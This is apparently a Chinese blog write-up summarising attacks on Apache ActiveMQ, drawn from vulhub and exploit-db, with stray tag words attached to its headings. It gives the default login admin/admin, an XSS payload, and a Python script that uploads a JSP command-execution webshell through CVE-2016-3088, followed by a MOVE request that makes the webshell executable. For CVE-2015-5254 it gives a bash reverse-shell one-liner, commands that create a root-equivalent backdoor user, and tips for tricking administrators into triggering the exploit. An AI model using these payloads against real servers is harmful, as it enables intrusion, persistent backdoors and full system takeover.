目录java
ActiveMQpython
攻击方式git
寻找目标github
弱口令web
未受权访问shell
源代码泄露api
XSS漏洞安全
远程代码执行漏洞bash
反序列化漏洞服务器
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是工做端口,消息在这个端口进行传递;8161是Web管理页面端口。
Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及之后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。
下面总结一下针对ActiveMQ消息中间件的攻击方式,总结来源于wooyun、vulhub、exploit-db。
一、因为这个中间件会开放8363端口和61616端口,所以能够经过扫描端口,发现存在该服务的服务器,从而进行攻击。
二、因为ActiveMQ 5.0 及之后版本默认集成了jetty,所以也能够经过headers头信息中查看服务器信息判断,但这个不足以肯定服务器安装了ActiveMQ。
admin/admin
/admin/connections.jsp
http://www.example.com:8161//admin/index.jsp http://www.example.com:8161//admin/queues.jsp http://www.example.com:8161//admin/topics.jsp
看这个POC应该是须要进入后台才能够利用的。
/admin/queueBrowse/example.A?view=rss&feedType=<script>alert("ACTIVEMQ")</script>
CVE-2016-3088
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都须要登陆后才能使用,fileserver无需登陆。fileserver是一个RESTful API接口,咱们能够经过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操做,其设计目的是为了弥补消息队列操做不能传输、存储二进制文件的缺陷。在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你能够在conf/jetty.xml中开启之);在5.14.0版本之后,完全删除了fileserver应用。
漏洞原理:ActiveMQ 中的 FileServer 服务容许用户经过 HTTP PUT 方法上传文件到指定目录,构造PUT请求上传 webshell 到 fileserver 目录,而后经过 Move 方法将其移动到有执行权限的 admin/ 目录。
漏洞影响:Apache ActiveMQ 5.x ~ 5.14.0
漏洞利用流程
一、PUT上传
二、获取绝对路径
三、移动文件到admin目录或者api目录下,登陆访问webshell
PUT上次Webshell代码
测试PUT总是失败,所以写了个python脚本,省得改请求包。
import requests url = "http://192.168.0.11:8161/fileserver/shell2.txt" headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36', 'Cookie':'JSESSIONID=1gfll70wf7hfnbsmipaa6es3b' } payload = ''' <%@ page import="java.io.*" %> <% out.print("Hello</br>") String strcmd = request.getParameter("cmd"); String line = null; Process p = Runtime.getRuntime().exec(strcmd); BufferedReader br =new BufferedReader(new InputStreamReader(p.getInputStream())); while((line = br.readLine()) != null) { out.print(line+"</br>"); } %> ''' response = requests.put(url,headers=headers,data=payload) status = response.status_code if status == "204": print "PUT success!" else: print "False,please again!"
获取绝对路径
靶场给的页面,实际环境中应该是不存在的。
实际环境中能够经过下面的方法爆路径:
移动文件到admin目录或者api目录下,登陆访问webshell
MOVE /fileserver/shell.txt HTTP/1.1 Destination: file:///opt/activemq/webapps/api/shell.jsp Host: 192.168.0.11:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 0
我移动文件不知道为何总是状态码500错误。
局限性
webshell须要管理员帐号密码,但理论上咱们能够覆盖jetty.xml,将admin和api的登陆限制去掉,而后再写入webshell。
CVE-2015-5254
漏洞原理:Apache ActiveMQ 5.13.0以前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
工具:https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
漏洞利用流程
1. 构造(可使用ysoserial)可执行命令的序列化对象
2. 做为一个消息,发送给目标61616端口
3. 访问web管理页面,读取消息,触发漏洞
下图是构造可执行命令的序列化对象,并发送给目标61616端口:
访问web管理页面,点击消息:
http://192.168.0.11:8161/admin/browse.jsp?JMSDestination=event
成功执行命令,以下图所示,多了success目录:
不只如此咱们还能够修改命令,反弹shell
bash -i >& /dev/tcp/192.168.31.41/8080 0>&1
测试时,反弹shell失败了,缘由不明。
还能够修改命令,增长用户并提权
useradd -g root -s /bin/bash -u 10010 test //添加test用户并将其添加到root组 sed -i "s/test:x:10010/test:x:0/g" /etc/passwd //将passwd中的test的uid修改成0 echo "test:sd123456" | chpasswd //为test用户设置一个密码
局限性
经过web管理页面访问消息并触发漏洞这个过程须要管理员权限。在没有密码的状况下,咱们能够诱导管理员访问咱们的连接以触发,或者假装成其余合法服务须要的消息,等待客户端访问的时候触发。